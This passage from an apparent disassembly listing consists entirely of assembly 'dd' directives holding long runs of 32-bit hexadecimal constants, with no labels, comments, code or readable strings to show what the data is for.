		dd 2C765AEAh, 14AD2B86h, 1B58B3D5h, 0E949459h, 0DF9659C4h
		dd 25F45394h, 0FD175F41h, 2DD8144Fh, 247480DBh,	0AB0C683Fh
		dd 0A0DFC87Fh, 0AD30846Eh, 1E696C30h, 51423FACh, 1E530D02h
		dd 0E44813B0h, 7340B325h, 0C33AEBEEh, 4D2D26C6h, 7B104446h
		dd 9DA1EECDh, 0A4972CFAh, 260F1645h, 4AA94AE4h,	18315989h
		dd 9AFC906Fh, 3993823Bh, 0B518081h, 596D6ABDh, 586909A5h
		dd 0A32A18C0h, 0EA6201EEh, 0A1029597h, 8044CE42h, 6BF65EB1h
		dd 0B5F20F6Ah, 0F7AB70EBh, 3AF07EEEh, 0FA997BA1h, 3BAB88B3h
		dd 895804C7h, 129FB71Ch, 14D26507h, 0CB53C0B4h,	61D3318Ch
		dd 0F3D056D8h, 4693FC53h, 17B93123h, 0D1160C9Ch, 2F1B2065h
		dd 0BAA4E0A2h, 565A46A8h, 0D7E0733Fh, 6880222Fh, 68512E0Bh
		dd 0B496BE7Eh, 0FE67356Eh, 0B3F8C887h, 0B5FE9C5Ch, 0F4CA3F2h
		dd 9A66039h, 0D86135DCh, 99B9F6CAh, 26052354h, 3D0331FAh
		dd 965C7E8Ah, 88D42F82h, 0D6772816h, 7C2BC4D8h,	930B0117h
		dd 4668E7B7h, 91EB743Bh, 0B8A530C5h, 3C2C5D20h,	1D168C7Fh
		dd 89E1BA5Eh, 2F917D73h, 21851E4Ch, 0D806D0FBh,	0D30302A5h
		dd 4BBBB4BDh, 0D2F5A340h, 0E5C80EAh, 0B61C689Bh, 0D181CF7Fh
		dd 40866D14h, 44FE4CEAh, 0F3E3D8A4h, 28E10FDCh,	71564D01h
		dd 4B9747FBh, 54F3EBF0h, 13D3B0EDh, 8D3E41CFh, 41FCB0FDh
		dd 9DAD4B2Eh, 0B576A62Ch, 38A9AA9Eh, 0F173D98Bh, 4C1B5302h
		dd 7ABFB4F2h, 0FD10DC72h, 0BE4A53E7h, 512FF8A2h, 4CBAF52Fh
		dd 22D673AAh, 0A8079159h, 71D2F4E8h, 7AB4E3Ah, 0E6D432CCh
		dd 43FA71E0h, 0BFA0DE68h, 0DA6B0D7Ah, 0C3ECB90Ch, 0C2EDE453h
		dd 0E0421591h, 27744CBCh, 83138C68h, 33B08441h,	8495EF94h
		dd 0FECB4AB9h, 0BAA42CD7h, 0FE847950h, 3A1E7E0Ch, 0BF72C07Ah
		dd 62775968h, 3777E0DFh, 5C3CC9DFh, 17839C4Ah, 0E1E70ABh
		dd 94D82E08h, 21E5D07Ch, 0C34E5D75h, 0D829611Ch, 0F443FE41h
		dd 0E1674036h, 0C3CF0CDEh, 796A5ECBh, 5095434Bh, 45748263h
		dd 80E1DC9Ah, 6CB6E66Bh, 0DC5FCB13h, 45357D57h,	8A62AEFCh
		dd 0AFB65CECh, 39325221h, 0C8EEEA8h, 0F2FF72E5h, 0C9B6631Fh
		dd 5438682Ch, 1D860A71h, 65C9F65Eh, 5966B619h, 61B3A146h
		dd 0AD443277h, 5259D129h, 90F79B74h, 12F90F63h,	0D26D47ADh
		dd 1525ECEEh, 5D549A6h,	7A00D757h, 51124324h, 6981DC75h
		dd 9A3E87E5h, 236BEC22h, 14953709h, 7D246B7h, 0F960C0AAh
		dd 7B3313BFh, 77A7609Eh, 0AE87EF67h, 7EA3B503h,	0E5FCB853h
		dd 53B34A68h, 7E8EB320h, 0BE10BC73h, 0C3F5E684h, 0E407275Ah
		dd 0B0E1406Eh, 6DE46AAh, 4FEB7385h, 0F2FF8821h,	6134323Ch
		dd 140CB66Eh, 0E849C658h, 9F773B41h, 0CF91C991h, 92F5CFC1h
		dd 0DB484278h, 0BA109490h, 0F9BE4211h, 0AD2B6FBDh, 12986057h
		dd 392FFFF6h, 0D29B5750h, 0EA3ECC34h, 0B9EF622Ah, 47E42114h
		dd 0A6315A46h, 0FEB599C4h, 0E434B4C6h, 125BA6BBh, 0E174136Fh
		dd 0B0B5E9BDh, 915B3C3Eh, 0E87B0DB1h, 0C0FBD55Ch, 0B15F6320h
		dd 0A6E1974Ah, 0A8864E16h, 0A9E7B64Fh, 5A2E6148h, 3BED2816h
		dd 18086E79h, 396E6CBCh, 26881639h, 3BA1AFACh, 43603017h
		dd 0A3B69449h, 0D0024769h, 591FA165h, 870555B6h, 8DC2E4C4h
		dd 667098E4h, 2AFCB64Fh, 0D92578h, 9F05D6BBh, 7B5265BBh
		dd 0F92C40E2h, 34E87E42h, 82F1B3EAh, 0E5D5D93Ch, 6F16E518h
		dd 0CA3AC5D8h, 36051C11h, 1C550AC4h, 0FCF9C1AEh, 0C710E629h
		dd 0BC3E537Fh, 2DBA512Fh, 0A1BED06Bh, 0C85FE402h, 3651B649h
		dd 7AE66074h, 0B4ED42C0h, 90AC3BF0h, 44077291h,	1795F8A7h
		dd 8E499F94h, 46A71C0Dh, 0D2B4D66h, 1FB7E360h, 5E42D13Ah
		dd 0E4D2A780h, 97B61843h, 5D19086Eh, 0B2F0297Eh, 295FEB1Bh
		dd 0ECF3D303h, 491C726Eh, 41D5B02Ch, 0BB4C1299h, 608FD13Fh
		dd 0EDA06D8Ah, 0E3B7EE56h, 27A80181h, 0FDB1C851h, 7599FCCFh
		dd 0EEEF3FACh, 5C5F26F6h, 0EB763701h, 2A71F436h, 0D20B2D6h
		dd 3DA582A5h, 5D61A971h, 42C6862Bh, 0C56C3A03h,	1EBB897Eh
		dd 0D4EC8BA9h, 0A7F037AAh, 683C0524h, 0A134445Eh, 3314E953h
		dd 0DE55558h, 17048F22h, 219A01C5h, 0E9671349h,	0C56FF6C9h
		dd 2D437945h, 4C8B2D9Bh, 26EB18D6h, 85869F6Fh, 0A7106E7Eh
		dd 0A7E9288Bh, 0ECDD050Ch, 8BAAB253h, 631EEFFCh, 7D4FB9BFh
		dd 827A70F4h, 4391F795h, 0B317CD90h, 7CAE09ECh,	0CEDD36EBh
		dd 56CBA5A9h, 0AAC75A8Ah, 25D48C95h, 40EC38EBh,	9D1D4B66h
		dd 77BF32C3h, 74A63E63h, 829F8E18h, 0B5EC663Bh,	5B730544h
		dd 52ACD773h, 352565Dh,	577C6C4Ah, 3B61A41h, 11DF2770h
		dd 1943111Eh, 0D7BD7A8h, 62938CC5h, 48BD5FC8h, 0FD090199h
		dd 4333AFD8h, 0A5862AB3h, 0AAE9575h, 0E72049C0h, 0BCD15E8Dh
		dd 0B903620Ch, 0A2ECC449h, 0E4DE2C83h, 3D08A527h, 3419F0DEh
		dd 7DCF201Dh, 0AB70370Ch, 3C8D0F69h, 119877FBh,	7FAF9FACh
		dd 6545D77Ah, 6A03633Dh, 1DFB8942h, 782C12D0h, 44863A6Bh
		dd 114A995Ch, 0E0BC0CA4h, 48E7C5A3h, 0A954ED99h, 3B9541B2h
		dd 0B0C589BFh, 0DE5B1F01h
		dd 31A0E4Ah, 0F88147D5h, 8B4E01EFh, 0ABB72979h,	9AB9E56Fh
		dd 3CC721F3h, 9EDE28ABh, 208449Dh, 6CBA0F71h, 0B1EE14AAh
		dd 87528D3Ch, 4193474Fh, 91CE7809h, 0A433ABBBh,	0B668F197h
		dd 67D96704h, 4A52118Ah, 68390A2Ch, 1DB31388h, 74D5ADB8h
		dd 16BF4BBFh, 1A11B934h, 0EA3EAFFDh, 8131F136h,	64A5DB8Dh
		dd 776DB461h, 75D53726h, 0AFD30B48h, 65C20F20h,	135AF273h
		dd 39FA690Eh, 9A141F30h, 61B19F7Eh, 437E903Ch, 9D8CD5CCh
		dd 0B4BC7CFBh, 0FD8A8170h, 2D8E7238h, 10734EC5h, 0EA093B35h
		dd 6259BC0Bh, 0F69536B1h, 85562166h, 7B10E851h,	0C1629FBEh
		dd 666E13F4h, 6D36A453h, 24319BDh, 0B1260F3Dh, 4E40C4Ah
		dd 0EBCD5019h, 843BA089h, 3A15F597h, 8D1E5E8Fh,	3AF15493h
		dd 82E6F93Bh, 0E4243AAAh, 0D12CCF31h, 9391F287h, 7FBF1911h
		dd 0E3CF651Ah, 124FD70Ah, 42ED6F69h, 6AA426EEh,	0FB7F4EECh
		dd 388D1340h, 0A7EE4D1h, 0E484E251h, 9B36ADF7h,	0DD35DCDBh
		dd 0B6BDD54Ah, 0B3E87037h, 12ACEC7Ch, 0E2457D25h, 7AD93BC8h
		dd 3C054DE7h, 65DAB09Dh, 0E2A3C7CCh, 3CAD6EAAh,	0A769B643h
		dd 5AC3DCB9h, 3352B246h, 8BB90836h, 4695A219h, 0C643564Bh
		dd 0D87D5F55h, 2D3D3F15h, 0E7A2E2A6h, 40AF5989h, 0BB382DCCh
		dd 0AF85FEF4h, 0B7CCA0CBh, 0A968871Ch, 0F3C4D98h, 0C42E441Dh
		dd 0EFCAAE1Ah, 2DBACAB2h, 0B8BA97AEh, 0DF2274CCh, 0A9536648h
		dd 0AAF1A826h, 190536D6h, 750D1FD0h, 0BD82645Ch, 60E03B33h
		dd 44962C82h, 8FC39236h, 23927364h, 77A9BA4Ah, 0EE0E05FCh
		dd 0B692864Bh, 537E26FBh, 0F0A8BD2Bh, 0A6C8C0h,	0BB469121h
		dd 6D73264Eh, 7315B39Ch, 94E357E1h, 4CE4D313h, 2AC212Eh
		dd 2BBFA89Ch, 499AF0E1h, 7AF9F085h, 444264E2h, 74F07B5h
		dd 156429F0h, 59E15C85h, 85160AA3h, 9E413EEAh, 7D043108h
		dd 6A359E44h, 769D625Bh, 0B61300EBh, 0F7BA3C16h, 63EAA63Bh
		dd 83E55B20h, 0F0215B90h, 43F3C278h, 9DC9390h, 78B31784h
		dd 77561D4Ch, 0AC99027h, 8FC02C0h, 5D07F847h, 13AE4946h
		dd 45A94894h, 0CDA608AAh, 7E3981Ch, 0F5BF8F6h, 0A8501D10h
		dd 0C645AFAFh, 4150534Fh, 0AECC526h, 6D1CCA1Ah,	38902DD4h
		dd 4A812693h, 3AFD6090h, 6D1AF5E1h, 0AF85E059h,	0F27F32A6h
		dd 0CF7C5430h, 2795AC47h, 0A3B8DF3Ah, 76349D48h, 6D6B2D82h
		dd 0FD349F28h, 84E724DFh, 0ED4B4E8Ch, 0F37FD182h, 5F9FB86Eh
		dd 0C87AAB45h, 0E530677Ch, 0FB89D063h, 379C8140h, 127ADFA4h
		dd 0B4DBB662h, 27C5A912h, 0E72AD5D4h, 6C932C82h, 0D07DDE8Ah
		dd 68099EBCh, 4DF3522Eh, 0E4AF7E59h, 0ABA785B9h, 0B5FF3530h
		dd 8D67D8E2h, 87A2D08Dh, 1A93B85Bh, 80BE667Ah, 270C5373h
		dd 0BAD3D4DCh, 841F3457h, 565D53AFh, 23ABEE5Eh,	0E11BBBF9h
		dd 9236D359h, 0B00EAA6Eh, 3F9EBA7Bh, 4DEE60E1h,	0CF9C264Ch
		dd 175BC829h, 0E0C18782h, 34273FF6h, 87CC70CFh,	0EC6FFBE7h
		dd 7B51EC3Ch, 60208FA7h, 5CDF361Eh, 0A6925AB8h,	0EFD9A4F0h
		dd 727BDD6Ah, 20AAB34h,	79F1E6A3h, 0A10AE955h, 0D402B75Dh
		dd 7910DA4Ah, 0E2129CBh, 9F65F62Ch, 18F3FBE1h, 81558C0Ah
		dd 5472A2Bh, 0A46966ECh, 7B7D063Fh, 7EE4142Dh, 63BCD920h
		dd 0E1105072h, 1100AF03h, 0DA7EC8DBh, 82A75B1Fh, 436BCC48h
		dd 3F236F43h, 6CBC43BDh, 56DD7754h, 0BD0C2ABBh,	36C68442h
		dd 49B265ACh, 27047D5Bh, 0FD0147FBh, 90173D17h,	9CDCF74Dh
		dd 60CC120Eh, 0B54ACE7Ah, 0DB42E25Eh, 0BA1CC45Bh, 4D9577C1h
		dd 75E76808h, 0C393676Ch, 0DFE0CACDh, 76C1F616h, 81E6E23Ah
		dd 362FEBD2h, 2A99BF3Bh, 9DE7D526h, 0D890A28Eh,	0A3B7039Ch
		dd 67716A21h, 88D2B89Fh, 5CB47D99h, 2E799042h, 8B778055h
		dd 3BCAA628h, 0EAD64130h, 53F5435Dh, 0B9DE6462h, 0DE830A4Dh
		dd 0EF813B2h, 5662EFB6h, 1566458h, 42215EC5h, 0E7493B1Ah
		dd 92702EF7h, 8BD62446h, 0D674B0CAh, 5431D580h,	51D35E7Bh
		dd 0B7915C76h, 9904940Ah, 0B8321CD0h, 0E62160E4h, 771D10D3h
		dd 0ED7C70BEh, 653620B0h, 0BB3F6751h, 9957FA0h,	0EA21632Fh
		dd 43602DEh, 0FE38A3F2h, 26A1AA34h, 7980EE36h, 39C01229h
		dd 0A92D40A1h, 14F7970Fh, 268CCEE9h, 3DD44010h,	0D0CB2AEEh
		dd 5EF7DBF1h, 254A0B36h, 9037858h, 11670CDAh, 3C0F868Ch
		dd 486F4A46h, 0E4A61D3Eh, 0E4BDA7D9h, 6B4AFC4Fh, 7BECCD8h
		dd 73539200h, 901E6EEDh, 5B3AD19Ah, 5E51F323h, 13CCC078h
		dd 1E08A313h, 19DF803Eh, 4658BC0Eh, 0BD0F5812h,	2782C0FAh
		dd 71623933h, 0AD6A8733h, 0E49D1155h, 0DF5D7515h, 71DADCA2h
		dd 0D108851Bh, 0D596FD99h, 62E8CAFAh, 0C9238A1Fh, 896EFB87h
		dd 0CCED63EDh, 0AC8CD7B4h, 2975774Dh, 54963C7Ch, 8A036750h
		dd 0E0E839FDh, 56525507h, 0BB3D9EE8h, 170BC7AFh, 0F00CD332h
		dd 0EFEB7B31h, 78B78C22h, 0FC2776D5h, 4FA0EAC8h, 81705475h
		dd 0BD6DC867h, 4939B9E6h, 0B4F1D069h, 53ECE896h, 0E2EED201h
		dd 8BB9F110h, 0B7A6316h, 0EC08B187h, 0F8502738h, 0BE345E45h
		dd 396806E6h, 0B4E4C8B4h, 0DED87F04h, 7FB5AA8Eh, 2312D165h
		dd 0ED59137Ah, 57F97BA7h, 1643902Fh, 0BB7A147Fh, 6381B6EEh
		dd 94706601h, 0A797789Dh, 0ED9D8F32h, 466E948Ch, 0DB256C4Fh
		dd 0AC6D55A6h, 978B60B2h, 37593CD8h, 297EFA92h,	1CD42027h
		dd 8F9D30CFh, 0D660D2E8h, 0DA5D714Bh, 0D120E285h, 0D7792806h
		dd 0CDE8A2FAh, 1C625AC6h, 0AECF9757h, 0ACFC548Ah, 9CE768E3h
		dd 303796FBh, 2B915FDh,	4A3E47D7h, 374D49F4h, 691974DCh
		dd 0ED02390Dh, 644BE5Dh, 0C97F286Dh, 61EFCC09h,	0F13A2726h
		dd 88D43CD6h, 0E51C458Dh, 0F4BD7241h, 3B2EE3Ch,	2CA3539Eh
		dd 488DA978h, 8B785D1h,	0DE05D248h, 0A5241E52h,	9D4C53B1h
		dd 0D34A0225h, 403D5DD7h, 0C2E6B61Fh, 0DAEB1AA4h, 3B534AACh
		dd 255499Fh, 0F851A430h, 9625DBC9h, 0EC808BBAh,	48978BEAh
		dd 1B8FB1BDh, 0D3B159BDh, 0BBE44E2Eh, 90D8E585h, 0F762977Dh
		dd 5B68B782h, 6424B00Bh, 0C47734AFh, 2FC5DF7Eh,	6AD46A11h
		dd 9F5D027Bh, 3E379A95h, 3A1E16A9h, 19469FC0h, 9532337Ah
		dd 0DE4210A5h, 8B226E30h, 7D3BF7EEh, 0DBAA0CECh, 79F91CBDh
		dd 4C7F8FB5h, 5D39773Ah, 6F1F17Bh, 0FFEC0578h, 0EE973515h
		dd 0F9573D5Eh, 0DBF53CCAh, 913AAC76h, 0B3355Bh,	0CCD31D7Fh
		dd 8E1A208Dh, 36FA144h,	0F4A55334h, 9A67381h, 0DFC247F6h
		dd 899C9E3Fh, 4D4232CFh, 69315334h, 1DA50C50h, 0D991B6E8h
		dd 7BCD5505h, 3621D4DAh, 0A0B20FACh, 25582B31h,	605BFC24h
		dd 80E4CDF2h, 0D670CC1Dh, 232DECC4h, 0E1D0737h,	69B7A272h
		dd 6EED94FAh, 14348BCDh, 73D62508h, 0C690C380h,	0E309B241h
		dd 83CE9CBCh, 38D5AA87h, 0D6D32630h, 89DB7B53h,	763F995Bh
		dd 92A60A8Ch, 251651B0h, 6B87929Dh, 44E9250Fh, 495D4A48h
		dd 690B1BF7h, 469487C9h, 5CD6487Bh, 0BBFB420Ah,	90812092h
		dd 0F428B3FBh, 0EA2B0264h, 0F9068425h, 30CB3D3Dh, 40780806h
		dd 0E361C7DFh, 0A0DCBCC8h, 0D7759A24h, 52BE1FF0h, 7297CEAh
		dd 0FB73939Bh, 0DB75DE10h, 0AAC8437Ah, 9E31072h, 0F428D4EDh
		dd 968EE0C6h, 2404483Bh, 0FFF48664h, 0DD8D324h,	44B017AFh
		dd 2ABC7A15h, 0DCA2F4B0h, 9FDC0A00h, 2303284Fh,	800F4C9Eh
		dd 0F4544746h, 0ACE1625Ah, 37FDF535h, 0E3A65A31h, 897EA674h
		dd 68D17D04h, 0BC9E97DAh
		dd 14BF10C6h, 979D738Dh, 0F02D4CCEh, 19E56F7Eh,	72BACA6Fh
		dd 9DE445B2h, 0C95C0FECh, 601F57FAh, 5E6DC11Ch,	759D678Fh
		dd 132C36FFh, 0D484588Fh, 3FD01D5h, 0B0EF043Eh,	0A272B73Eh
		dd 0C3C9FCABh, 9DC00678h, 973E47Bh, 0A668FB03h,	7FD58478h
		dd 0FDE0088Fh, 0F6EA2E73h, 48BD100Dh, 41E32611h, 145FD35Eh
		dd 464BAB2Dh, 0F276CB14h, 8F0360A2h, 3E9A23B2h,	8856C2C7h
		dd 0F098E74Ch, 616244BDh, 0D7DD87FDh, 8C4F088Dh, 6E04E70Eh
		dd 0E18EEA06h, 0A6FA752h, 7ED87C81h, 0B99CBB8Ah, 72F8ED1h
		dd 0C3CAE73h, 0FD004F5Dh, 6AD797B8h, 13BF31E6h,	8AF78C37h
		dd 52381E00h, 0C525556Fh, 488C8337h, 0D35A7C15h, 69504393h
		dd 0AB8993B7h, 6E6053Bh, 8DE445F9h, 0EC83A54Fh,	0D67B2867h
		dd 93BF9CA0h, 0C6004A80h, 3C6212A7h, 84507222h,	11755885h
		dd 3DB1FFF4h, 4A44134Bh, 25E52F0Ah, 5F021BFDh, 44B79FE4h
		dd 50F549DAh, 147A525Dh, 990C3837h, 9D89D8D5h, 0A229FFD6h
		dd 538C8508h, 57484E70h, 1DEFFD7Eh, 0A106F328h,	717F9F7h
		dd 0A35463C6h, 0A96257C4h, 0F6FF18FDh, 308C2CE0h, 0BC7CB368h
		dd 0D51D9DD7h, 0EBCBC317h, 472090CEh, 0EB8536A7h, 3AFFC68Dh
		dd 5AF1F3A6h, 5E48B149h, 11E43799h, 19B34B4Ch, 9123A40Dh
		dd 5CB11661h, 0E331016Dh, 1957F0B2h, 0DDEE661Eh, 7815879Bh
		dd 5EAAF52h, 82C60FE2h,	0C63FF114h, 8A5E960Ch, 0F457EFF3h
		dd 794870BEh, 0FB25260Ah, 9D639086h, 272E22AEh,	36746E3Fh
		dd 0AB5EE77Dh, 0F7D4FBA1h, 0AAF31B14h, 0C8C47C02h, 0CC294540h
		dd 0A545C455h, 7BD660DBh, 0D317B104h, 0DA0F4576h, 3838BAFBh
		dd 0A7D55172h, 51B7BA45h, 0A0F5187Ch, 0E408A32Dh, 2141F9BCh
		dd 0B7A98D9Dh, 0ED92E07Fh, 18065334h, 904C92DDh, 0E93AF0A0h
		dd 841BD682h, 23ADB79Bh, 0CF51511h, 0B7B74E8Ch,	11D0C7A2h
		dd 47544C05h, 61069573h, 84A4F4EEh, 86FE505Bh, 0AB58870Eh
		dd 0F50A521Ch, 40DE53EAh, 0FAB431A4h, 43244789h, 43D370BBh
		dd 542512CAh, 8BA67DADh, 303B2EA2h, 4D6990D9h, 0B8D694EDh
		dd 919F768Bh, 7FDF911Eh, 5E319F29h, 268CBC2Ch, 98002438h
		dd 372F1FE0h, 0BFECADC8h, 82EB8ACAh, 0E607ADC1h, 7931C309h
		dd 0B935E5F9h, 0A6BADFC1h, 2E0E4429h, 0A492E1AFh, 552F5629h
		dd 0C9765C63h, 3C0D7655h, 7944C4F7h, 505EF999h,	5F242F4Bh
		dd 5B3F40B9h, 9B0C74Fh,	4F0ACE5Ah, 1E49C358h, 476D5948h
		dd 0B38176Bh, 8DFD860Eh, 464298DDh, 6513D197h, 834C06B5h
		dd 3AAD395Fh, 62B06E02h, 18414070h, 8752CF29h, 51B73572h
		dd 98F1BA15h, 578898Ch,	0C7C83C13h, 0B6677F29h,	0D554A6DAh
		dd 0EA5C258Dh, 0D7E58E91h, 0C9C99BD6h, 980A3BA9h, 0A97B35D1h
		dd 1A699C29h, 86F5CCF8h, 4F71FED0h, 0C378670h, 4FD6E12Eh
		dd 6BC94428h, 0B02E59FDh, 0E1C0CB9Ah, 682BD466h, 0E47B6AF2h
		dd 508C32B2h, 4FF56DCEh, 0A1C3DE0h, 2F26C937h, 22AD067h
		dd 0F49AC206h, 2135E07Ch, 829D9782h, 50542244h,	44BAA643h
		dd 84621F70h, 0DADC1AFh, 3CA980FAh, 0F57A87F4h,	0EDD61B1Fh
		dd 0AC571516h, 0B6163EA3h, 487EAD14h, 0E91E82DEh, 62FE6C76h
		dd 0A35BB431h, 4C566CF5h, 0A155B0A4h, 5643F271h, 0DA4154ABh
		dd 4CF5B145h, 0A6B58C25h, 0FC55A9F4h, 0D35968DBh, 0C8CF5AFEh
		dd 5A3ACED0h, 6C6EF0B5h, 0BCD610E0h, 9580B081h,	14FD504Ch
		dd 71B5D354h, 636159B4h, 0CCB0C234h, 0FAB6DB63h, 0CBB4DDD9h
		dd 0E9C768ACh, 0BC013130h, 0A4B9F363h, 77884996h, 0ACB9A8B6h
		dd 0DB47E225h, 6A8AAF42h, 0F8112E56h, 6E419860h, 5EDD468Bh
		dd 88466517h, 3A636DC7h, 58F90178h, 0AB786702h,	6616C5Fh
		dd 31785743h, 4D039A76h, 1705EA1Bh, 0A9BA2FCCh,	0E22656Ah
		dd 126CD283h, 0C11F810Ch, 730EA6E9h, 8CEFFE2Ch,	0BCBF2A2Bh
		dd 98163C99h, 79AB0F1Dh, 0A1BD51E4h, 1D07D122h,	0EB125699h
		dd 726D141Dh, 44D0ABE6h, 0E4980B93h, 99C68A0h, 1E9EA748h
		dd 5A6FE317h, 0B835B1CDh, 2FAF6162h, 1AAE264h, 0BF44046Dh
		dd 700093BDh, 13E76EAAh, 3BF2FC37h, 28D81D03h, 0B5D192A3h
		dd 7BD47CCBh, 0E5BFF8EDh, 0B8629A7Ah, 4C6AB9BCh, 49BD7729h
		dd 523D9838h, 0E934A896h, 777C9816h, 0B53CE7FCh, 8E97F439h
		dd 0CF31676Ah, 0E371870Bh, 0ACED3DAAh, 7FB5E538h, 0A0ABE054h
		dd 0FF5CDFB2h, 472BD022h, 0AC399562h, 5437F810h, 5278A4D8h
		dd 421EBDEBh, 0F05DCF06h, 0B40EA845h, 0B81C8223h, 64EDEA52h
		dd 7F9CE3DCh, 17BA2CB2h, 0C8F0F36h, 230C5D6h, 0A84F23D5h
		dd 0D030AEDCh, 0DB7845D5h, 0A9BAF1B9h, 3C4773D9h, 659D3EF5h
		dd 0BDD30933h, 72936625h, 260E9FB5h, 0B7F05AF9h, 6307CBDBh
		dd 0B508F3B7h, 0E89C8AD8h, 2631E971h, 0E011D7C1h, 0CAFC927Ah
		dd 48FC531Ch, 9E4C6DADh, 0B4A583DBh, 938F7EADh,	71B264A5h
		dd 3E52FADh, 6AE64F51h,	69A39742h, 0CB53E9D6h, 57315B62h
		dd 5482E1D0h, 58DA7F44h, 243CC07Dh, 0E3AEF268h,	24F5BB99h
		dd 0EEED1A04h, 0A540E91h, 0DB1CB41Dh, 0F55E75F6h, 0A3A683BEh
		dd 88930ACBh, 0A8A2BB6Bh, 3B11F854h, 6854A68Eh,	53FF2118h
		dd 6E278B7Eh, 8EC5F052h, 0D3ABEE28h, 0C7757FBDh, 0E8F06E75h
		dd 4A01CCF1h, 54261EF2h, 5ACB1D65h, 0AE7DF3C2h,	0C6063ABBh
		dd 6847A29Ah, 4383F25Dh, 0DA6504BCh, 47D0903Fh,	8F26587Dh
		dd 8EC66D27h, 758046D0h, 14342782h, 66EE978h, 29891FAh
		dd 0F34064D7h, 0DF0A1C90h, 9EE498B6h, 9F0FE4BEh, 0B0FE3A71h
		dd 2D99AA68h, 0F456F097h, 0C96CDD27h, 0A06363F4h, 1BA3AD84h
		dd 0ABBAC823h, 0B4290BB3h, 0E0A79664h, 0A799EACBh, 1483026Dh
		dd 0DEB19F70h, 0A0DC9064h, 11C1402Fh, 0E5D85567h, 0A2AC470Ch
		dd 5C364966h, 1064DF34h, 0A3FECE51h, 2DFE7248h,	6E29CF03h
		dd 8A69C55Fh, 2561FA63h, 73C6053Dh, 93F2AFDCh, 78886FEFh
		dd 6FD1C793h, 0A270D89Dh, 103F748Eh, 0D71D27C4h, 0CF4C05C7h
		dd 0BFADC1B8h, 0DCC31151h, 4F755236h, 0F1930047h, 9D9E2A05h
		dd 1398BFF0h, 0AE6FB81Ah, 36D9FB03h, 0F55F8801h, 0F2908ABh
		dd 749182D5h, 20B58F35h, 21F4E2A5h, 0AC9F1B28h,	1934E9D9h
		dd 59EF036Eh, 8661EFB0h, 0BCA518F4h, 5670C282h,	0F0A5A57Dh
		dd 0A363775Ah, 0AAFE1F74h, 1AC1497Fh, 7F9EE7BDh, 9384F91h
		dd 5F1514F7h, 1550ECC7h, 0D5D7AA80h, 3119B765h,	0A2FB066h
		dd 8155A981h, 5E1B7DB3h, 8481926Bh, 0B160F08Eh,	0DA408B67h
		dd 342E55F9h, 7A6D2653h, 6F66A88Fh, 4719D896h, 5063DE17h
		dd 2FB8B368h, 0D920874Ah, 0EE0E2D51h, 3A73AACDh, 241E3BDEh
		dd 4076E79Ch, 532AA46Ch, 48368864h, 9CE8F0BFh, 99F5F536h
		dd 65893F63h, 0DF07E77Eh, 8BECA952h, 0C9BDBBD2h, 931225EEh
		dd 5AC04482h, 2C0A34C8h, 0E5E90C6Eh, 5733531Eh,	8B5A2186h
		dd 0C54B9EB4h, 635C1549h, 0ECF2254Ch, 6911584Dh, 515AA458h
		dd 389F4982h, 657F277Ch, 0EC91258Bh, 4F5BDF11h,	3772465Eh
		dd 0F0CBF307h, 12DD2210h, 25072D8Fh, 0DD637DF4h, 0DE53D667h
		dd 3FEFAC43h, 0B69E8096h, 0D162B3BBh, 18C36AB1h, 5F82DF98h
		dd 87B77474h, 4ECEFD94h, 72C7E243h, 5183BF53h, 23EC346Ah
		dd 0EE03FD0Ah, 619215AEh, 2FB57035h, 66EC08Ch, 37E4E344h
		dd 400D3590h, 9F53E6B9h, 0BDF98DF3h, 3A6C588Ch,	0BD1B2265h
		dd 44EEBD2Ah, 2008925Ch, 93544EDCh, 3AEDFC4Bh, 0DAA4A871h
		dd 0EE0CDF20h, 39339713h
		dd 5460C482h, 747D51EEh, 21E0C374h, 0BC68DF37h,	1E3D5A6Ch
		dd 81B4978Ch, 0A6AD7E8Bh, 0E9CB98B3h, 0C48A704Eh, 67130CD7h
		dd 9496AB9h, 188EED53h,	4F1D4BBDh, 0E63781A8h, 5083F287h
		dd 9FF7AB0Bh, 0E4CD4BEFh, 0E3D72241h, 3C06A473h, 458F6D6Ch
		dd 0D102CFE7h, 19853A80h, 0C4775ECAh, 7DFAE8FDh, 0A589D45Ah
		dd 7E3D33C4h, 0E98F5525h, 598C8F78h, 83175B31h,	0A6B8A2A0h
		dd 1F8A31B6h, 0B439E606h, 0DA243809h, 7E796F55h, 0C1148F36h
		dd 3EED0B4Ch, 9DEFB928h, 4AC21444h, 0A7114F70h,	4B808F30h
		dd 0AEB845FEh, 7EF76CA7h, 5C497F41h, 0BC1C3147h, 4E263B53h
		dd 13014B07h, 70778969h, 0FB65B0C8h, 60DD59A3h,	6B12CE4Dh
		dd 0ECA83E6Ch, 11B4E2C5h, 39230656h, 34A41C33h,	0D0E3C368h
		dd 0CF8DD62Eh, 48ED1EA5h, 870165E7h, 5982C9E1h,	5C52E59Bh
		dd 658C5D18h, 7FC1AF61h, 0E0509CC0h, 0ED55FC24h, 39FEDC04h
		dd 8C16A8A8h, 0DDED6DECh, 0A0C6942Bh, 31E4347Bh, 0E0729851h
		dd 64B7DC27h, 0E2B75938h, 8394AA64h, 0F068C11Bh, 1F78D823h
		dd 0EB54D283h, 429084F9h, 13A2D105h, 40299398h,	23BD9277h
		dd 0C4C5E205h, 0AB4C0BCFh, 5CE2CBF3h, 14F97A51h, 0E758981Dh
		dd 2524EEA7h, 615F628h,	33A89DF7h, 6110792Ch, 5499AA06h
		dd 47ACBF5Fh, 0ECB98D83h, 33B250F4h, 70148A00h,	21A66A82h
		dd 75E299BCh, 0EE6BF0C1h, 4BEC20D4h, 5A3D02F6h,	0EB831347h
		dd 5A355747h, 84485674h, 363F3CA6h, 7D89A4F4h, 83D70AB3h
		dd 0F4577C97h, 7709D30Dh, 0C302914Eh, 0CB94BE41h, 20E8CFF0h
		dd 0DA567551h, 0A358EE5Ah, 5B48E2D2h, 98ECBF55h, 2894DD72h
		dd 2E959E3Eh, 2D8DE161h, 0B39748F4h, 0C596F3DCh, 5A8D1D4Eh
		dd 912F69C2h, 0A070694Fh, 0C03C804Dh, 429CC3C5h, 77696310h
		dd 2EC4E05h, 0CA049877h, 73C9CEC6h, 0DE024624h,	83C3331Ch
		dd 0C63E5BE8h, 712D706Ah, 3AAB421Eh, 0E3D6257Fh, 0E009E315h
		dd 1E5B4822h, 6566EAA1h, 0C65BDEF6h, 3538CBC1h,	0DC96F7h
		dd 0F181F505h, 600CF882h, 0DFB21274h, 1CA64D8h,	53B3423Fh
		dd 0B0A70A07h, 984BAE0Eh, 0C7D3C47Ah, 0BF3EF59Eh, 8D297502h
		dd 0C55460Ah, 0D833072Dh, 9E7E1135h, 0ED021A15h, 0C5C75670h
